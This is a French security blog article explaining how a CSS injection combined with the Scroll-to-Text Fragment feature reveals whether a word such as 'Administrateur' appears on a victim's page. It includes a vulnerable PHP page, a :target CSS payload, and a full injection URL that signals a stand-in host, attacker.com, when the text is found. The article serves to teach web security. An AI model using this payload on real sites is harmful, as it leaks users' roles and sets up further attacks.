Cybersecurity
  • Mon Blog
    • 🏠Home
    • 📦Archives
      • 2024
      • 2023
      • 2022
    • 📂Catégories
    • 📧A propos de moi
  • Mes projets
    • Livres / publications
      • Sécurité des applications web - Stratégies offensives et défensives
    • MyExpense
    • XSS Exploitation Tool
  • Mes Articles
    • 2025
      • Mars
        • Comment les requêtes préparées (prepared statement) protègent-elles contre les injections SQL ?
      • Janvier
        • XSS Exploitation Tool v0.7.0
    • 2024
      • Décembre
        • XSS Exploitation Tool v0.6.0
      • Septembre
        • MyExpense v1.4
      • Aout
        • XSS Exploitation Tool v0.5.0
        • Exploitation des injections SQL au sein de la clause ORDER BY
      • Juin
        • Parution de mon livre, Sécurité des applications web - Stratégies offensives et défensives
      • Mai
        • Dompurify 3.0.10 bypass - Confusion nodeName and CDATA
        • Dompurify 3.0.9 bypass - Node type confusion
      • Avril
        • Bypass de validation d'URL et embedded credentials côté front
      • Mars
        • MyExpense v1.3
    • 2023
      • Mai
        • MyExpense v1.2
      • Mars
        • MyExpense v1.1
        • Fonctionnement de l'entête X-Content-Type-Options - Contournement de CSP
      • Février
        • Fonctionnement de l'entête HTTP Strict Transport Security Header (HSTS)
    • 2022
      • Décembre
        • Les injections CSS - Règle @import
        • Les injections CSS - Scroll-to-Text Fragment
      • Novembre
        • Les injections CSS - Attribute Selector
        • Les injections CSS - Règle @font-face et descripteur unicode
      • Octobre
        • XSS Exploitation Tool v0.4.0
      • Septembre
        • Cross-Site Scripting (XSS) et schéma d'URI javascript
      • Juillet
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Windows)
        • SAST - PHP CodeSniffer orienté sécurité dans Visual Studio (sous Debian)
        • Est-il possible de contourner la fonction PHP htmlspecialchars() ?
  • Common Vulnerabilities and Exposures (CVE)
    • 2024
      • CVE-2024-29415
    • 2023
      • CVE-2023-42282
    • 2022
      • CVE-2022-33910
      • CVE-2022-32444
      • CVE-2022-32442
    • 2020
      • CVE-2020-26311
  • Livres
    • 2023
      • Attacking and Exploiting Modern Web Applications
      • DevSecOps - Développez et administrez vos services en toute sécurité
    • 2022
      • Hacking APIs - Breaking Web Application Programming Interfaces
    • 2018
      • Practical Web Penetration Testing
      • Web Hacking 101: How to Make Money Hacking Ethically
  • Walkthroughs
    • Capture The Flag
      • Hack.lu CTF 2019
        • Nucular Power Plant
      • TAMUctf 2019
        • 1337 Secur1ty
        • Bird Box Challenge
        • Science!
    • Deliberately Vulnerable
      • CORS vulnerable Lab
        • Application Trust Arbritrary Origin
        • Application has bad "regex" Implementation to check Trusted Origin
        • Application Trust "null" Origin
      • Damn Vulnerable Web Application (DVWA)
        • Brute Force
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Command Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSRF
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Inclusion
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • File Upload
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Insecure CAPTCHA
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • SQL Injection (Blind)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Weak Session IDs
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (DOM)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Reflected)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • XSS (Stored)
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • CSP Bypass
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
        • Javascript
          • Niveau "Low"
          • Niveau "Medium"
          • Niveau "High"
      • Unescape() room
        • Level 1 (practice)
        • Level 2 (practice)
        • Level 3 (practice)
        • Level 4 (practice)
        • Level 5 (practice)
        • Level 6 (practice)
        • Level 7 (practice)
        • Level 8 (practice)
        • Level 9 (practice)
        • Level 10 (practice)
      • VulnHub
        • GoatseLinux: 1
        • Hackademic: RTB1
        • Hackademic: RTB2
        • Holynix: v1
        • Holynix: v2
        • Kioptrix: Level 1 (#1)
        • Kioptrix: Level 1.1 (#2)
        • Kioptrix: Level 1.2 (#3)
        • Kioptrix: Level 1.3 (#4)
        • LAMPSecurity: CTF4
        • LAMPSecurity: CTF5
        • LAMPSecurity: CTF6
        • Metasploitable: 1
        • pWnOS 1.0
        • pWnOS 2.0 (Pre-Release)
      • XSS Vulnerability Challenges
        • xss1
        • xss2
        • xss3
        • xss4
        • xss5
        • xxs6
        • xss7
        • xss8
Propulsé par GitBook
Sur cette page
  • Scroll-to-Text Fragment
  • Text Fragments
  • La pseudo-class :target
  • Limites de l'attaque
  • Automatisation
  • Références
  1. Mes Articles
  2. 2022
  3. Décembre

Les injections CSS - Scroll-to-Text Fragment

16 Décembre 2022

Cette exploitation d'une injection CSS va permettre à l'attaquant de savoir si l'occurrence d'un mot est présente ou non sur la page ciblée. Cela peut être utile pour identifier, par exemple, si la victime est connectée en tant qu'administrateur ou non.

Scroll-to-Text Fragment

Un attaquant peut s'appuyer sur la fonctionnalité de Scroll-to-Text Fragment afin d'exploiter une injection CSS dans l'objectif de connaitre la présence d'un mot ou d'une phrase dans la page Web de sa victime. Les scénarios d'utilisation sont très nombreux, mais il est possible de prendre le cas d'un attaquant souhaitant connaitre le rôle de la victime.

La fonctionnalité de lien vers un fragment de texte (Scroll-to-Text Fragment) permet à un utilisateur de créer un lien vers une partie spécifique d'une page en prenant comme référence un texte fournit dans l'URL. Une fois la page chargée, le navigateur mettra le texte recherché en surbrillance et fera défiler l'écran jusqu'à sa position.

La fonctionnalité Scroll-to-Text Fragment n'étant pas un standard, elle n'est donc pas implémentée sur Firefox.

En admettant la page vulnérable suivante :

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>CSS Injection</title>
    <style>
      h1 {
        color: <?php echo htmlspecialchars($_GET['color'], ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, "UTF-8") ?>;
      }
    </style>
  </head>
  <body>
    <h1>Injection CSS - utilisation de la fonctionnalité Scroll-to-Text Fragment</h1>
    <div>
      <p>Connecté en tant que <?php echo $role ?></p>
    </div>
  </body>
</html>

La variable PHP $role contient le rôle du visiteur authentifié. Elle peut contenir la valeur "Administrateur" ou "Utilisateur". L'attaquant souhaite tout d'abord déterminer si le visiteur de la page est bien l'administrateur du site afin, ensuite, d'effectuer une attaque plus poussée contre lui ; c'est ici que la fonctionnalité Scroll-to-Text Fragment va lui être utile.

Text Fragments

Un fragment de texte dans une URL se compose du signe # suivi de :~:text= et se termine par le texte ciblé (encodé en URL) :

http://vulnerable.com/scroll-to-text.php#:~:text=texte-ciblé

En reprenant le code de l'exemple précédent, il est donc possible de mettre en surbrillance le mot ciblé comme ceci :

http://vulnerable.com/scroll-to-text.php#:~:text=Administrateur

Ou alors une phrase entière :

Il est également possible de surligner tout un paragraphe en spécifiant le texte du début (textStart) et le texte de fin (textEnd) séparés par une virgule :

Ou encore d'ajouter des suffixes et des préfixes :

#:~:text=[prefix-,]textStart[,textEnd][,-suffix]

Une dernière possibilité pouvant être utile est de pouvoir effectuer une multi sélection grâce au caractère &. Par exemple :

La pseudo-class :target

L'injection CSS et l'utilisation de la pseudo-class :target, va permettre de prévenir l'attaquant dans le cas ou le texte recherché a bien été trouvé :

<style>
  :target::before {
    content:url(http://attacker.com/isAdmin);
  }
</style>

Soit l'injection suivante :

http://vulnerable.com/scroll-to-text.php?color=black;}:target::before{content:url(http://attacker.com/isAdmin);#:~:text=Administrateur

L'attaque ne passera pas inaperçu pour la victime puisque le texte ciblé sera souligné et un défilement sera effectué si nécessaire :

Limites de l'attaque

Outre le fait de pouvoir injecter du CSS, l'attaque possède quelques limites. Comme déjà évoqué, elle est assez voyante pour la victime par le surlignage et le défilement.

A noter que si le serveur vulnérable présente l'entête HTTP Document-Policy avec la valeur force-load-at-top alors, le défilement n'aura pas lieu, ce qui peut être un avantage pour l'attaquant.

De plus, la fonctionnalité s'active seulement lors d'une navigation vers une page différente, c'est à dire que rafraichir la page ou ouvrir un lien vers la même page ne déclenchera pas l'attaque. Exit également l'iframing de la page vulnérable, la fonctionnalité ne se déclenchera pas dans ce contexte non plus.

Automatisation

<h1>Récupération de la présence de l'occurrence d'un mot via fonctionnalité de Scroll-to-Text Fragment</h1>
<div>
    <?php echo '<p>Connecté en tant que ' . $_SESSION['role'] . '</p>'; ?>
</div>
<a href="logout.php">Se déconnecter</a>

Références

PrécédentLes injections CSS - Règle @importSuivantNovembre

Dernière mise à jour il y a 8 mois

L'article original concernant cette exploitation est disponible ici :

Un PoC est disponible .

https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
ici
https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection
https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/